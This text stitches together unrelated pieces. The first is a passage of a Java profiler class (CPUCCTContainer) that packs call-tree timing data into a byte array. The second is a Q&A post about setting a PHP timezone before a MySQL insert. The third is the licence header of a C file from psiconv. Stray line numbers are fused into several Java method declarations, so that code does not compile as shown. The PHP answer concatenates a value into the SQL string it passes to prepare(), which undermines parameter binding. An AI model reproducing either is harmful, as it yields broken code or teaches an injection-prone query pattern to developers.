private MethodInfoMapper methodInfoMapper = MethodInfoMapper.DEFAULT;
//~ Constructors -------------------------------------------------------------------------------------------------------------
public CPUCCTContainer(TimedCPUCCTNode rtRootNode, CPUResultsSnapshot cpuResSnapshot, MethodInfoMapper methodInfoMapper, TimingAdjusterOld timingAdjuster,
InstrumentationFilter usedFilter, int nNodes,
double[] threadActiveTimesInCounts, int threadId, String threadName) {
this(cpuResSnapshot);
this.threadId = threadId;
this.threadName = threadName;
this.methodInfoMapper = methodInfoMapper;
this.timingAdjuster = timingAdjuster;
this.filter = usedFilter;
collectingTwoTimeStamps = cpuResSnapshot.isCollectingTwoTimeStamps();
generateCompactData(rtRootNode, nNodes);
calculateThreadActiveTimesInMS(threadActiveTimesInCounts);
rootNode = new PrestimeCPUCCTNodeBacked(this, null, 0);
if (rtRootNode.isRoot()) {
rootNode.setThreadNode();
}
}
protected CPUCCTContainer(CPUResultsSnapshot cpuResSnapshot) {
this.cpuResSnapshot = cpuResSnapshot;
}
//~ Methods ------------------------------------------------------------------------------------------------------------------
public CPUResultsSnapshot getCPUResSnapshot() {
return cpuResSnapshot;
}
public int getChildOfsForNodeOfs(int nodeOfs, int childIdx) {
if (childOfsSize == CHILD_OFS_SIZE_4) {
return get4Bytes(nodeOfs + (collectingTwoTimeStamps ? OFS_SUBNODE02 : OFS_SUBNODE01) + (childOfsSize * childIdx));
} else {
return get3Bytes(nodeOfs + (collectingTwoTimeStamps ? OFS_SUBNODE02 : OFS_SUBNODE01) + (childOfsSize * childIdx));
}
}
public boolean isCollectingTwoTimeStamps() {
return collectingTwoTimeStamps;
}
public FlatProfileContainer getFlatProfile() {
// if (cachedFlatProfile == null) {
// generateFlatProfile();
// }
// return cachedFlatProfile;
return generateFlatProfile();
}
public String[] getMethodClassNameAndSig(int methodId) {
return cpuResSnapshot.getMethodClassNameAndSig(methodId, CPUResultsSnapshot.METHOD_LEVEL_VIEW);
}
// -- Methods for retrieving data for individual nodes
public int getMethodIdForNodeOfs(int nodeOfs) {
return get2Bytes(nodeOfs + OFS_METHODID);
}
public int getNCallsForNodeOfs(int nodeOfs) {
return get4Bytes(nodeOfs + OFS_NCALLS);
}
public int getNChildrenForNodeOfs(int nodeOfs) {
return get2Bytes(nodeOfs + (collectingTwoTimeStamps ? OFS_NSUBNODES2 : OFS_NSUBNODES1));
}
public PrestimeCPUCCTNode getReverseCCT(int methodId) {
return generateReverseCCT(methodId);
}
public PrestimeCPUCCTNode getRootNode() {
return rootNode;
}
public long getSelfTime0ForNodeOfs(int nodeOfs) {
return get5Bytes(nodeOfs + OFS_SELFTIME0);
}
public long getSelfTime1ForNodeOfs(int nodeOfs) {
return get5Bytes(nodeOfs + OFS_SELFTIME1);
}
public long getSleepTime0ForNodeOfs(int nodeOfs) {
return 0;
} // TODO [wait]
public int getThreadId() {
return threadId;
}
public String getThreadName() {
return threadName;
}
// Provided for information purposes (that is, the "get internal statistics" action) only. Since this stuff
// is not used in any real calculations, it's more or less tolerable so far to have it static.
public static double getTimeInInjectedCodeForDisplayedThread() {
return timeInInjectedCodeInMS;
}
public long getTotalTime0ForNodeOfs(int nodeOfs) {
return get5Bytes(nodeOfs + OFS_TIME0);
}
public long getTotalTime1ForNodeOfs(int nodeOfs) {
return get5Bytes(nodeOfs + OFS_TIME1);
}
public long getWaitTime0ForNodeOfs(int nodeOfs) {
return 0;
} // TODO [wait]
public static double getWholeGraphGrossTimeAbsForDisplayedThread() {
return wholeGraphGrossTimeAbsInMS;
}
public long getWholeGraphNetTime0() {
return wholeGraphNetTime0;
}
public long getWholeGraphNetTime1() {
return wholeGraphNetTime1;
}
public long getWholeGraphPureTimeAbs() {
return wholeGraphPureTimeAbs;
}
public long getWholeGraphPureTimeThreadCPU() {
return wholeGraphPureTimeThreadCPU;
}
public boolean canDisplayWholeGraphCPUTime() {
return displayWholeThreadCPUTime;
}
public void readFromStream(DataInputStream in) throws IOException {
threadId = in.readInt();
threadName = in.readUTF();
collectingTwoTimeStamps = in.readBoolean();
int len = in.readInt();
compactData = new byte[len];
if (compactData.length > 0xFFFFFF) {
childOfsSize = CHILD_OFS_SIZE_4;
} else {
childOfsSize = CHILD_OFS_SIZE_3;
}
in.readFully(compactData);
nodeSize = in.readInt();
wholeGraphGrossTimeAbs = in.readLong();
wholeGraphGrossTimeThreadCPU = in.readLong();
timeInInjectedCodeInAbsCounts = in.readDouble();
timeInInjectedCodeInThreadCPUCounts = in.readDouble();
wholeGraphPureTimeAbs = in.readLong();
wholeGraphPureTimeThreadCPU = in.readLong();
wholeGraphNetTime0 = in.readLong();
wholeGraphNetTime1 = in.readLong();
totalInvNo = in.readLong();
displayWholeThreadCPUTime = in.readBoolean();
rootNode = new PrestimeCPUCCTNodeBacked(this, null, 0);
if (this.getMethodIdForNodeOfs(0) == 0) {
rootNode.setThreadNode();
}
}
// -- Serialization support
public void writeToStream(DataOutputStream out) throws IOException {
out.writeInt(threadId);
out.writeUTF(threadName);
out.writeBoolean(collectingTwoTimeStamps);
out.writeInt(compactData.length);
out.write(compactData);
out.writeInt(nodeSize);
out.writeLong(wholeGraphGrossTimeAbs);
out.writeLong(wholeGraphGrossTimeThreadCPU);
out.writeDouble(timeInInjectedCodeInAbsCounts);
out.writeDouble(timeInInjectedCodeInThreadCPUCounts);
out.writeLong(wholeGraphPureTimeAbs);
out.writeLong(wholeGraphPureTimeThreadCPU);
out.writeLong(wholeGraphNetTime0);
out.writeLong(wholeGraphNetTime1);
out.writeLong(totalInvNo);
out.writeBoolean(displayWholeThreadCPUTime);
}
protected void setChildOfsForNodeOfs(int nodeOfs, int childIdx, int val) {
if (childOfsSize == CHILD_OFS_SIZE_4) {
store4Bytes(nodeOfs + (collectingTwoTimeStamps ? OFS_SUBNODE02 : OFS_SUBNODE01) + (childOfsSize * childIdx), val);
} else {
store3Bytes(nodeOfs + (collectingTwoTimeStamps ? OFS_SUBNODE02 : OFS_SUBNODE01) + (childOfsSize * childIdx), val);
}
}
// -- Methods for setting data for individual nodes
protected void setMethodIdForNodeOfs(int nodeOfs, int val) {
store2Bytes(nodeOfs + OFS_METHODID, val);
}
protected void setNCallsForNodeOfs(int nodeOfs, int val) {
store4Bytes(nodeOfs + OFS_NCALLS, val);
}
protected void setNChildrenForNodeOfs(int nodeOfs, int val) {
store2Bytes(nodeOfs + (collectingTwoTimeStamps ? OFS_NSUBNODES2 : OFS_NSUBNODES1), val);
}
protected void setSelfTime0ForNodeOfs(int nodeOfs, long val) {
store5Bytes(nodeOfs + OFS_SELFTIME0, val);
}
protected void setSelfTime1ForNodeOfs(int nodeOfs, long val) {
store5Bytes(nodeOfs + OFS_SELFTIME1, val);
}
protected void setSleepTime0ForNodeOfs(int dataOfs, long waitTime0) {
} // TODO [sleep should be stored separately in future versions]
protected void setTotalTime0ForNodeOfs(int nodeOfs, long val) {
store5Bytes(nodeOfs + OFS_TIME0, val);
}
protected void setTotalTime1ForNodeOfs(int nodeOfs, long val) {
store5Bytes(nodeOfs + OFS_TIME1, val);
}
protected void setWaitTime0ForNodeOfs(int dataOfs, long waitTime0) {
} // TODO [wait should be stored separately in future versions]
protected void addFlatProfTimeForNode(int dataOfs) {
int nChildren = getNChildrenForNodeOfs(dataOfs);
if (nChildren > 0) {
for (int i = 0; i < nChildren; i++) {
int childOfs = getChildOfsForNodeOfs(dataOfs, i);
addFlatProfTimeForNode(childOfs);
}
}
int methodId = getMethodIdForNodeOfs(dataOfs);
timePerMethodId0[methodId] += getSelfTime0ForNodeOfs(dataOfs);
if (collectingTwoTimeStamps) {
timePerMethodId1[methodId] += getSelfTime1ForNodeOfs(dataOfs);
}
invPerMethodId[methodId] += getNCallsForNodeOfs(dataOfs);
}
protected void addToReverseCCT(PrestimeCPUCCTNodeFree reverseNode, int methodId) {
selectedMethodId = methodId;
reverseCCTRootNode = reverseNode;
currentNodeStackSize = 320;
nodeStack = new int[currentNodeStackSize];
nodeStackPtr = 0;
checkStraightGraphNode(0);
nodeStack = null; // Free memory
reverseCCTRootNode = null; // Ditto
}
/**
* Walk all the elements of the main graph, looking for nodes with selectedMethodId signature.
* Whenever one is found, add its path, in reversed form, to the rootNode.
* When path is added, same-named nodes are merged until the first pair of different nodes is found.
*/
00440 protected void checkStraightGraphNode(int dataOfs) {
if (nodeStackPtr >= currentNodeStackSize) {
int[] newNodeStack = new int[currentNodeStackSize * 2];
System.arraycopy(nodeStack, 0, newNodeStack, 0, currentNodeStackSize);
nodeStack = newNodeStack;
currentNodeStackSize = currentNodeStackSize * 2;
}
nodeStack[nodeStackPtr++] = dataOfs;
if (getMethodIdForNodeOfs(dataOfs) == selectedMethodId) {
addReversePath();
}
int nChildren = getNChildrenForNodeOfs(dataOfs);
for (int i = 0; i < nChildren; i++) {
checkStraightGraphNode(getChildOfsForNodeOfs(dataOfs, i));
}
nodeStackPtr--;
}
protected FlatProfileContainer generateFlatProfile() {
preGenerateFlatProfile();
addFlatProfTimeForNode(0);
return postGenerateFlatProfile();
}
protected PrestimeCPUCCTNodeFree generateReverseCCT(int methodId) {
selectedMethodId = methodId;
currentNodeStackSize = 320;
nodeStack = new int[currentNodeStackSize];
nodeStackPtr = 0;
checkStraightGraphNode(0);
PrestimeCPUCCTNodeFree ret = reverseCCTRootNode;
nodeStack = null; // Free memory
reverseCCTRootNode = null; // Ditto
return ret;
}
protected int get2Bytes(int ofs) {
return (((int) compactData[ofs] & 0xFF) << 8) | ((int) compactData[ofs + 1] & 0xFF);
}
protected int get3Bytes(int ofs) {
return (((int) compactData[ofs++] & 0xFF) << 16) | (((int) compactData[ofs++] & 0xFF) << 8)
| ((int) compactData[ofs++] & 0xFF);
}
protected int get4Bytes(int ofs) {
return (((int) compactData[ofs++] & 0xFF) << 24) | (((int) compactData[ofs++] & 0xFF) << 16)
| (((int) compactData[ofs++] & 0xFF) << 8) | ((int) compactData[ofs++] & 0xFF);
}
protected long get5Bytes(int ofs) {
return (((long) compactData[ofs++] & 0xFF) << 32) | (((long) compactData[ofs++] & 0xFF) << 24)
| (((long) compactData[ofs++] & 0xFF) << 16) | (((long) compactData[ofs++] & 0xFF) << 8)
| ((long) compactData[ofs++] & 0xFF);
}
protected FlatProfileContainer postGenerateFlatProfile() {
FlatProfileContainer fpc = new FlatProfileContainerBacked(this, timePerMethodId0, timePerMethodId1, invPerMethodId,
timePerMethodId0.length);
timePerMethodId0 = timePerMethodId1 = null;
invPerMethodId = null;
return fpc;
}
protected void preGenerateFlatProfile() {
int totalMethods = cpuResSnapshot.getNInstrMethods();
timePerMethodId0 = new long[totalMethods];
if (collectingTwoTimeStamps) {
timePerMethodId1 = new long[totalMethods];
}
invPerMethodId = new int[totalMethods];
timePerMethodId0[0] = -1; // 0th element is a hidden "Thread" quazi-method. This prevents exposing it in a pathological case when all times are zero.
}
// -- Utility methods, not interesting enough to place earlier in the code
protected void store2Bytes(int ofs, int data) {
compactData[ofs] = (byte) ((data >> 8) & 0xFF);
compactData[ofs + 1] = (byte) ((data) & 0xFF);
}
protected void store3Bytes(int ofs, int data) {
int curPos = ofs;
compactData[curPos++] = (byte) ((data >> 16) & 0xFF);
compactData[curPos++] = (byte) ((data >> 8) & 0xFF);
compactData[curPos++] = (byte) ((data) & 0xFF);
}
protected void store4Bytes(int ofs, int data) {
int curPos = ofs;
compactData[curPos++] = (byte) ((data >> 24) & 0xFF);
compactData[curPos++] = (byte) ((data >> 16) & 0xFF);
compactData[curPos++] = (byte) ((data >> 8) & 0xFF);
compactData[curPos++] = (byte) ((data) & 0xFF);
}
protected void store5Bytes(int ofs, long data) {
int curPos = ofs;
compactData[curPos++] = (byte) ((data >> 32) & 0xFF);
compactData[curPos++] = (byte) ((data >> 24) & 0xFF);
compactData[curPos++] = (byte) ((data >> 16) & 0xFF);
compactData[curPos++] = (byte) ((data >> 8) & 0xFF);
compactData[curPos++] = (byte) ((data) & 0xFF);
}
private void addChild(TimedCPUCCTNode node, TimedCPUCCTNode parent) {
if ((node == null) || (parent == null)) {
return;
}
TimedCPUCCTNode compParent = null;
TimedCPUCCTNode newChild = null;
int filterStatus = node.getFilteredStatus();
if (!(node instanceof MethodCPUCCTNode)) {
filterStatus = TimedCPUCCTNode.FILTERED_YES;
}
switch (filterStatus) {
case TimedCPUCCTNode.FILTERED_YES: {
compParent = parent;
break;
}
case TimedCPUCCTNode.FILTERED_MAYBE: {
if (node instanceof MethodCPUCCTNode) {
methodInfoMapper.lock(false);
try {
String className = methodInfoMapper.getInstrMethodClass(((MethodCPUCCTNode) node).getMethodId()).replace('.', '/'); // NOI18N
if (!filter.passesFilter(className)) {
compParent = parent;
} else {
newChild = (TimedCPUCCTNode) node.clone();
compParent = newChild;
}
} finally {
methodInfoMapper.unlock();
}
} else {
compParent = parent;
}
break;
}
case TimedCPUCCTNode.FILTERED_NO: {
MethodCPUCCTNode existingChild = MethodCPUCCTNode.Locator.locate(((MethodCPUCCTNode) node).getMethodId(),
parent.getChildren());
if (existingChild == null) {
newChild = (TimedCPUCCTNode) node.clone();
compParent = newChild;
} else {
newChild = null;
existingChild.addNCalls(node.getNCalls());
existingChild.addNCallsDiff(node.getNCallsDiff());
existingChild.addNetTime0(node.getNetTime0());
existingChild.addNetTime1(node.getNetTime1());
existingChild.addSleepTime0(node.getSleepTime0());
existingChild.addWaitTime0(node.getWaitTime0());
compParent = existingChild;
}
break;
}
default:ProfilerLogger.warning("Unknown filtered status (" + filterStatus + ") for " + node); // NOI18N
}
int nChildren = (node.getChildren() != null) ? node.getChildren().size() : 0;
for (int i = 0; i < nChildren; i++) {
addChild((TimedCPUCCTNode) node.getChildren().getChildAt(i), compParent);
}
if (newChild != null) {
parent.attachNodeAsChild(newChild);
} else {
if (!parent.isRoot()) { // no propagation of filtered-out data to the Thread level node
parent.addNetTime0(node.getNetTime0());
parent.addNCallsDiff(node.getNCalls());
if (collectingTwoTimeStamps) {
parent.addNetTime1(node.getNetTime1());
}
} else {
// threadTimeCompensation0 += node.getNetTime0();
// if (collectingTwoTimeStamps) {
// threadTimeCompensation1 += node.getNetTime1();
// }
}
}
}
/**
* Add the whole reverse path contained in the nodeStack to the reverse call tree, merging nodes where appropriate.
* Most of the complexity of the code is due to handling of the intermediate "from" nodes.
*/
00651 private void addReversePath() {
PrestimeCPUCCTNodeFree curNode = null; // This is effectively a node above the root node - which is non-existent
int stackTopIdx = nodeStackPtr - 1;
for (int i = stackTopIdx; i >= 0; i--) {
int sourceNodeOfs = nodeStack[i];
int sourceNodeId = getMethodIdForNodeOfs(sourceNodeOfs);
if (sourceNodeId == 0) {
return; // It doesn't make sense to add "Thread" nodes to the reverse tree
}
boolean matchingChildFound = false;
if (i < stackTopIdx) { // sourceNodeOfs is some intermediate node
PrestimeCPUCCTNodeFree[] curNodeChildren = (PrestimeCPUCCTNodeFree[]) curNode.getChildren();
if (curNodeChildren != null) {
for (int j = 0; j < curNodeChildren.length; j++) {
if (curNodeChildren[j].getMethodId() == sourceNodeId) {
curNode = curNodeChildren[j];
if (curNode.isContextCallsNode()) { // Skip the "context calls" node if it exists
int prevSourceNodeOfs = nodeStack[i + 1];
mergeBySelfTime(curNode, prevSourceNodeOfs);
curNode = (PrestimeCPUCCTNodeFree) curNode.getChildren()[0];
}
mergeBySelfTime(curNode, sourceNodeOfs);
matchingChildFound = true;
break;
}
}
}
} else { // sourceNode is the topmost stack node
curNode = reverseCCTRootNode;
if (curNode == null) {
curNode = createChildlessCopyBySelfTime(sourceNodeOfs);
reverseCCTRootNode = curNode;
} else {
mergeBySelfTime(curNode, sourceNodeOfs);
}
matchingChildFound = true;
}
if (!matchingChildFound) { // sourceNode may only be an intermediate node
PrestimeCPUCCTNodeFree newNode = createChildlessCopyBySelfTime(sourceNodeOfs);
PrestimeCPUCCTNodeFree[] curNodeChildren = (PrestimeCPUCCTNodeFree[]) curNode.getChildren();
if (curNodeChildren != null) {
// For the given node, add an intermediate "context calls" node. If previously there was just one child,
// insert another "context calls" node for it.
int prevSourceNodeOfs = nodeStack[i + 1];
if (curNodeChildren.length == 1) { // Insert a context node for the already existing single child
PrestimeCPUCCTNodeFree origFirstChild = curNodeChildren[0];
PrestimeCPUCCTNodeFree ccNode = curNode.createChildlessCopy();
subtractNodeDataBySelfTime(ccNode, prevSourceNodeOfs); // Undo the results of merging with the parent of sourceNode
ccNode.setMethodId(origFirstChild.getMethodId());
ccNode.setContextCallsNode();
curNodeChildren[0] = ccNode;
ccNode.parent = curNode;
ccNode.addChild(origFirstChild);
origFirstChild.parent = ccNode;
}
PrestimeCPUCCTNodeFree ccNode = createChildlessCopyBySelfTime(prevSourceNodeOfs);
ccNode.setMethodId(getMethodIdForNodeOfs(sourceNodeOfs));
ccNode.setContextCallsNode();
curNode.addChild(ccNode);
ccNode.parent = curNode;
curNode = ccNode;
}
curNode.addChild(newNode);
newNode.parent = curNode;
curNode = newNode;
}
}
}
/**
* After presentation-time CCT is generated, calculate various special time values stored in this instance
*/
00742 private void calculateThreadActiveTimesInMS(double[] threadActiveTimesInCounts) {
//!!! Delete this comment after deciding what to do with the whole issue.
// In the code below, '+=' is caused by the fact that this method may be called multiple times when in getRootNode() we
// generate CCTs for all threads. In the default single-thread case the real value is just added to the initial zero value.
wholeGraphGrossTimeAbs = (long) threadActiveTimesInCounts[0];
wholeGraphGrossTimeThreadCPU = (long) threadActiveTimesInCounts[1];
timeInInjectedCodeInAbsCounts = threadActiveTimesInCounts[2];
timeInInjectedCodeInThreadCPUCounts = threadActiveTimesInCounts[3];
wholeGraphGrossTimeAbsInMS += ((wholeGraphGrossTimeAbs * 1000.0) / timingAdjuster.getInstrTimingData().timerCountsInSecond0);
timeInInjectedCodeInMS += ((timeInInjectedCodeInAbsCounts * 1000.0) / timingAdjuster.getInstrTimingData().timerCountsInSecond0);
// Note that here we have to use status.timerCountsInSecond[x] explicitly instead of timerCountsInSecond0/1 (which may correspond to wrong time type)
wholeGraphPureTimeAbs += (int) ((((double) wholeGraphGrossTimeAbs - timeInInjectedCodeInAbsCounts) * 1000000) / timingAdjuster.getInstrTimingData().timerCountsInSecond1);
//System.err.println("*** wholeGraphTimeAbs gross (cnts) = " + wholeGraphGrossTimeAbs + ", pure (mcs) = " + wholeGraphPureTimeAbs);
if (wholeGraphGrossTimeThreadCPU > 0) { // Otherwise it means we couldn't calculate it and it shouldn't be displayed
displayWholeThreadCPUTime = true;
wholeGraphPureTimeThreadCPU += (int) ((((double) wholeGraphGrossTimeThreadCPU - timeInInjectedCodeInThreadCPUCounts) * 1000000) / timingAdjuster.getInstrTimingData().timerCountsInSecond1);
//System.err.println("*** wholeGraphTimeThreadCPU gross (cnts) = " + wholeGraphGrossTimeThreadCPU + ", pure (mcs) = " + wholeGraphPureTimeThreadCPU);
//System.err.println("*** timeInInjectedCode (mcs) = " + (timeInInjectedCodeInAbsCounts * 1000000 / status.timerCountsInSecond[0]));
} else {
displayWholeThreadCPUTime = false;
}
// Take measures in case timer's low resolution has caused funny results
if (wholeGraphPureTimeAbs < 0) {
wholeGraphPureTimeAbs = 0;
}
if (wholeGraphPureTimeThreadCPU < 0) {
wholeGraphPureTimeThreadCPU = 0;
}
wholeGraphNetTime0 += get5Bytes(0 + OFS_TIME0);
if (collectingTwoTimeStamps) {
wholeGraphNetTime1 += get5Bytes(0 + OFS_TIME1);
}
}
private PrestimeCPUCCTNodeFree createChildlessCopyBySelfTime(int sourceNodeDataOfs) {
PrestimeCPUCCTNodeFree node = new PrestimeCPUCCTNodeFree(this, null, getMethodIdForNodeOfs(sourceNodeDataOfs));
mergeBySelfTime(node, sourceNodeDataOfs);
return node;
}
// private long threadTimeCompensation0, threadTimeCompensation1;
private TimedCPUCCTNode filterCCT(final TimedCPUCCTNode rootNode) {
TimedCPUCCTNode newRoot = (TimedCPUCCTNode) rootNode.clone();
// threadTimeCompensation0 = threadTimeCompensation1 = 0;
int nChildren = (rootNode.getChildren() != null) ? rootNode.getChildren().size() : 0;
for (int i = 0; i < nChildren; i++) {
addChild((TimedCPUCCTNode) rootNode.getChildren().getChildAt(i), newRoot);
}
// long time0, time1;
// time0 = newRoot.getNetTime0() - threadTimeCompensation0;
newRoot.setNetTime0(0);
if (collectingTwoTimeStamps) {
// time1 = newRoot.getNetTime1() - threadTimeCompensation1;
newRoot.setNetTime1(0);
}
return newRoot;
}
private void generateCompactData(TimedCPUCCTNode rootNode, int nNodes) {
nodeSize = collectingTwoTimeStamps ? OFS_SUBNODE02 : OFS_SUBNODE01;
childOfsSize = CHILD_OFS_SIZE_3;
int arraySize = (nodeSize * nNodes) + (childOfsSize * (nNodes - 1)); // For each node, except the root one, there is a parent node that references it with childOfsSize bytes long offset
if (arraySize > 0xFFFFFF) { // compactData is to big to use 3 bytes subnode offsets
childOfsSize = CHILD_OFS_SIZE_4;
arraySize = (nodeSize * nNodes) + (childOfsSize * (nNodes - 1));
}
if (LOGGER.isLoggable(Level.FINEST)) {
LOGGER.finest("generateCompact data: nNodes " + nNodes); // NOI18N
LOGGER.finest("generateCompact data: node size " + nodeSize); // NOI18N
LOGGER.finest("generateCompact data: array size " + arraySize); // NOI18N
LOGGER.finest("generateCompact data: child offset " + childOfsSize); // NOI18N
}
compactData = new byte[arraySize];
rootNode = filterCCT(rootNode);
generateMirrorNode(rootNode, 0);
}
/**
* Generates an equivalent of rtNode in the compact data. Returns the offset right after the last generated node, which
* is this node if it has no children, or the last recursive child of this node.
*/
00843 private int generateMirrorNode(final TimedCPUCCTNode rtNode, final int dataOfs) {
if (LOGGER.isLoggable(Level.FINEST)) {
LOGGER.finest("Generate mirror node for ofs: " + dataOfs + ", node: " + rtNode); // NOI18N
}
long thisNodeTotalTime0InTimerUnits = 0;
long thisNodeTotalTime1InTimerUnits = 0;
int nCallsFromThisNode = 0;
int totalNCallsFromThisNode = 0;
generateNodeBase(rtNode, dataOfs);
totalInvNo += rtNode.getNCalls();
RuntimeCPUCCTNode.Children nodeChildren = rtNode.getChildren();
int nChildren = (nodeChildren != null) ? nodeChildren.size() : 0;
int nextNodeOfs = dataOfs + nodeSize + (nChildren * childOfsSize);
nCallsFromThisNode += rtNode.getNCallsDiff();
if (nChildren > 0) {
int childCounter = 0;
for (int i = 0; i < nChildren; i++) {
RuntimeCPUCCTNode aNode = nodeChildren.getChildAt(i);
if (aNode instanceof MethodCPUCCTNode) { // TODO replace "instanceof" by a visitor implementation
setChildOfsForNodeOfs(dataOfs, childCounter, nextNodeOfs);
nextNodeOfs = generateMirrorNode((MethodCPUCCTNode) aNode, nextNodeOfs);
thisNodeTotalTime0InTimerUnits += childTotalTime0InTimerUnits; // Completely uncleansed time
if (collectingTwoTimeStamps) {
thisNodeTotalTime1InTimerUnits += childTotalTime1InTimerUnits; // Ditto
}
nCallsFromThisNode += ((MethodCPUCCTNode) aNode).getNCalls();
totalNCallsFromThisNode += childTotalNCalls;
childCounter++;
}
}
}
// Calculate cleansed self time
/* PROTOTYPE [wait]
long time = (long) (((double) rtNode.netTime0 - rtNode.waitTime0 - rtNode.nCalls * timingData.methodEntryExitInnerTime0 - nCallsFromThisNode * timingData.methodEntryExitOuterTime0) * 1000000 / timingData.timerCountsInSecond0);
*/
long time = (long) timingAdjuster.adjustTime(rtNode.getNetTime0(), rtNode.getNCalls(), nCallsFromThisNode, false);
// (long) (((double) rtNode.getNetTime0() - rtNode.getNCalls() * timingData.methodEntryExitInnerTime0
// - nCallsFromThisNode * timingData.methodEntryExitOuterTime0) * 1000000 / timingData
// .timerCountsInSecond0);
if (time < 0) {
// It may happen that for some very short methods the resulting time, after subtracting the instrumentation time, gets negative.
// When I calculated some concrete results using the (now-commented) code below, it appeared that for such methods the net
// time per call, in timer counts, is in the order of -0.1.. -0.2. In other words, it's a very small error caused by the
// hi-res timer (on Windows at least) being still too coarse-grain if just a few machine instructions are to be measured; and
// possibly insufficient precision of our advanced determination of instrumentation time.
// Setting the result to zero seems reasonable in this situation.
//if (nCallsFromThisNode == 0) {
// Net time per call, in counts
//double ntpc = ((double)cgNode.netTime - thisNode.nCalls * methodEntryExitInnerTime - nCallsFromThisNode * methodEntryExitOuterTime) / thisNode.nCalls;
//System.out.println("*** N: id= " + thisNode.methodId + ", cls= " + thisNode.nCalls + ", netTime= " + cgNode.netTime + ", nCFrom= " + nCallsFromThisNode + ", res = " + thisNode.netTime + ", ntpc = " + ntpc);
//}
time = 0;
}
setSelfTime0ForNodeOfs(dataOfs, time);
setWaitTime0ForNodeOfs(dataOfs, rtNode.getWaitTime0());
setSleepTime0ForNodeOfs(dataOfs, rtNode.getSleepTime0());
thisNodeTotalTime0InTimerUnits += rtNode.getNetTime0(); // Uncleansed time for this node and all its children
childTotalTime0InTimerUnits = thisNodeTotalTime0InTimerUnits; // It will be effectively returned by this method
// Calculate cleansed total time
time = (long) timingAdjuster.adjustTime(thisNodeTotalTime0InTimerUnits, rtNode.getNCalls(), totalNCallsFromThisNode,
false);
// time = (long) (((double) thisNodeTotalTime0InTimerUnits - rtNode.getNCalls()* timingData.methodEntryExitInnerTime0
// - totalNCallsFromThisNode * timingData.methodEntryExitCallTime0) * 1000000 / timingData
// .timerCountsInSecond0);
if (time < 0) {
//System.out.println("*** Negative: " + thisNode.totalTime0 + ", thisNCalls = " + thisNode.nCalls + ", fromNCalls = " + totalNCallsFromThisNode);
time = 0;
}
setTotalTime0ForNodeOfs(dataOfs, time);
if (collectingTwoTimeStamps) {
// Calculate cleansed self time
time = (long) timingAdjuster.adjustTime(rtNode.getNetTime1(), rtNode.getNCalls(), nCallsFromThisNode, true);
// time = (long) (((double) rtNode.getNetTime1()
// - rtNode.getNCalls() * timingData.methodEntryExitInnerTime1
// - nCallsFromThisNode * timingData.methodEntryExitOuterTime1) * 1000000 / timingData
// .timerCountsInSecond1);
if (time < 0) {
time = 0;
}
setSelfTime1ForNodeOfs(dataOfs, time);
thisNodeTotalTime1InTimerUnits += rtNode.getNetTime1();
childTotalTime1InTimerUnits = thisNodeTotalTime1InTimerUnits; // It will be effectively returned by this method
// Calculate cleansed total time
time = (long) timingAdjuster.adjustTime(thisNodeTotalTime1InTimerUnits, rtNode.getNCalls(),
totalNCallsFromThisNode, true);
// time = (long) (((double) thisNodeTotalTime1InTimerUnits - rtNode.getNCalls() * timingData.methodEntryExitInnerTime0
// - totalNCallsFromThisNode * timingData.methodEntryExitCallTime1) * 1000000 / timingData
// .timerCountsInSecond1);
if (time < 0) {
time = 0;
}
setTotalTime1ForNodeOfs(dataOfs, time);
}
childTotalNCalls = totalNCallsFromThisNode + rtNode.getNCalls(); // It will be effectively returned by this method
return nextNodeOfs;
}
private void generateNodeBase(TimedCPUCCTNode rtNode, int nodeDataOfs) {
int methodId = (rtNode instanceof MethodCPUCCTNode) ? ((MethodCPUCCTNode) rtNode).getMethodId() : 0;
int nCalls = rtNode.getNCalls();
int nChildren = (rtNode.getChildren() != null) ? rtNode.getChildren().size() : 0;
setMethodIdForNodeOfs(nodeDataOfs, methodId);
setNCallsForNodeOfs(nodeDataOfs, nCalls);
setNChildrenForNodeOfs(nodeDataOfs, nChildren);
}
private void mergeBySelfTime(PrestimeCPUCCTNodeFree curNode, int sourceNodeDataOfs) {
curNode.addNCalls(getNCallsForNodeOfs(sourceNodeDataOfs));
curNode.addTotalTime0(getSelfTime0ForNodeOfs(sourceNodeDataOfs));
if (collectingTwoTimeStamps) {
curNode.addTotalTime1(getSelfTime1ForNodeOfs(sourceNodeDataOfs));
}
curNode.addWaitTime0(getWaitTime0ForNodeOfs(sourceNodeDataOfs));
curNode.addSleepTime0(getSleepTime0ForNodeOfs(sourceNodeDataOfs));
}
private void subtractNodeDataBySelfTime(PrestimeCPUCCTNodeFree curNode, int sourceNodeDataOfs) {
curNode.addNCalls(-getNCallsForNodeOfs(sourceNodeDataOfs));
curNode.addTotalTime0(-getSelfTime0ForNodeOfs(sourceNodeDataOfs));
if (collectingTwoTimeStamps) {
curNode.addTotalTime1(-getSelfTime1ForNodeOfs(sourceNodeDataOfs));
}
curNode.addWaitTime0(-getWaitTime0ForNodeOfs(sourceNodeDataOfs)); // TODO: [wait] what is this?
curNode.addSleepTime0(-getSleepTime0ForNodeOfs(sourceNodeDataOfs)); // TODO: [wait] what is this?
}
}
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bob jomes bob jomes - 1 year ago 84
PHP Question
Set timezone as Europe/London
I'm using PHP to insert a query into a database.
I am using
timestamp
for each query, however currently it is returning a time which is 7 hours behind my timezone (Europe/London).
How do I set the timezone as Europe/London when I insert it into a MYSQL database?
Answer Source
Try the code below:
(I have written the code in PDO as you did not specify which extension you were using.)
<?php
date_default_timezone_set('Europe/London');
$time_stamp = date('Y-m-d H:i:s');
$stmt = $con->prepare("INSERT INTO tablename (datetime) VALUES ('".$time_stamp."')");
$stmt->execute();
?>
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/[public]/psiconv/trunk/program/psiconv/gen_html.c
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Contents of /psiconv/trunk/program/psiconv/gen_html.c
Parent Directory Parent Directory | Revision Log Revision Log
Revision 142 - (show annotations)
Tue Jan 29 18:38:38 2002 UTC (17 years, 9 months ago) by frodo
File MIME type: text/plain
File size: 13417 byte(s)
(Frodo) DMALLOC support
1 /*
2 gen_html.c - Part of psiconv, a PSION 5 file formats converter
3 Copyright (c) 1999 Frodo Looijaard <[email protected]>
4
5 This program is free software; you can redistribute it and/or modify
6 it under the terms of the GNU General Public License as published by
7 the Free Software Foundation; either version 2 of the License, or
8 (at your option) any later version.
9
10 This program is distributed in the hope that it will be useful,
11 but WITHOUT ANY WARRANTY; without even the implied warranty of
12 MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
13 GNU General Public License for more details.
14
15 You should have received a copy of the GNU General Public License
16 along with this program; if not, write to the Free Software
17 Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
18 */
19
20 #include "config.h"
